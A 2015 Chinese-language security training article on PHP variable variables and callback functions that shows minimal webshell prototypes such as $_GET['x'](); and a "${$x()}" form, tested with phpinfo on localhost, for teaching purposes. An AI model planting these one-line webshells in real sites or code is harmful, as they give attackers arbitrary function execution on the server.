天创培训:您身边的信息安全培训专家!
栏目列表
开班计划
2020年4月CISP直播班
主讲老师   张老师、王老师等
开课时间   4月
培训方式   网络课程
授课天次   培训5天+考试半天
上课时间   4月
课程介绍 在线报名
技术中心您当前位置:首页 > 资源专区 > 技术中心

浅谈PHP可变变量安全续续

作者:天创培训  来源:px.tcnet.com.cn  更新时间:2015-05-05  关键词:PHP

 大家一定忘不了

Non alphanumeric code in PHP

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

Tiny PHP Shell

http://h.ackack.net/tiny-php-shell.html

这两个东西就是可变变量和回调函数在WEBSHELL上的高级实战运用。

但是要深入一个东西,必须理解它的原型。

首先是回调函数WEBSHELL的原型:

<?php
$_GET['x']();
?>

访问http://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。

可变变量的WEBSHELL的原型:

<?php
$x = $_GET['x'];

$a = "${$x()}";
?>

访问://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。

可变变量的WEBSHELL的原型失败的例子:

<?php
$x = $_GET['x'];
$a = "${$x}";

?>

http://127.0.0.1/2.php?x=phpinfo

爆出Parse error: syntax error, unexpected T_STRING

http://127.0.0.1/2.php?x=phpinfo()

代码未执行

http://127.0.0.1/[email protected]()

代码未执行

到这里我们应该清楚了很多,逐本溯源,PHP手册上说明了可变变量只是动态设置变量,变量包括变量名只是在传递数据,数据不会当成代码执行!

数据要当成代码执行需要进入函数的参数,由函数执行,所以可变变量要实战成为可用的webshell,并且脱离eval等函数,本质还是需要往函数中传入参数依靠动态函数也就是函数回调这一特性。

至此浅谈PHP可变变量安全三篇合一,算是一篇比较基础的文档了,感谢Ryat牛和刺在技术上的提醒和帮助。三篇关于安全的主题分别是:

1.PHP双引号解析变量特性,容易引起PHP程序漏洞。

2.PHP可变变量语法有隐藏特性,存在“漏洞”。

3.PHP可变变量作为Webshell的原型和一些基础安全原理。

由于是科普文,本意也没想写成文档,所以更多扩展和发散就留给大家自己理解了。




推荐阅读

网站首页 |  关于天创 |  课程体系 |  最新动态 |  联系我们 |  网站地图 |  二维码
版权所有:江苏天创科技有限公司 苏ICP备16028135号-2
苏州总部地址:江苏省苏州市十梓街327号 电话:0512-65129087 传真:0512-65157410 邮编:215000
南京分公司地址:南京珠江路88号新世界中心A座 电话:025-84533276 传真:025-84533286 邮编:210000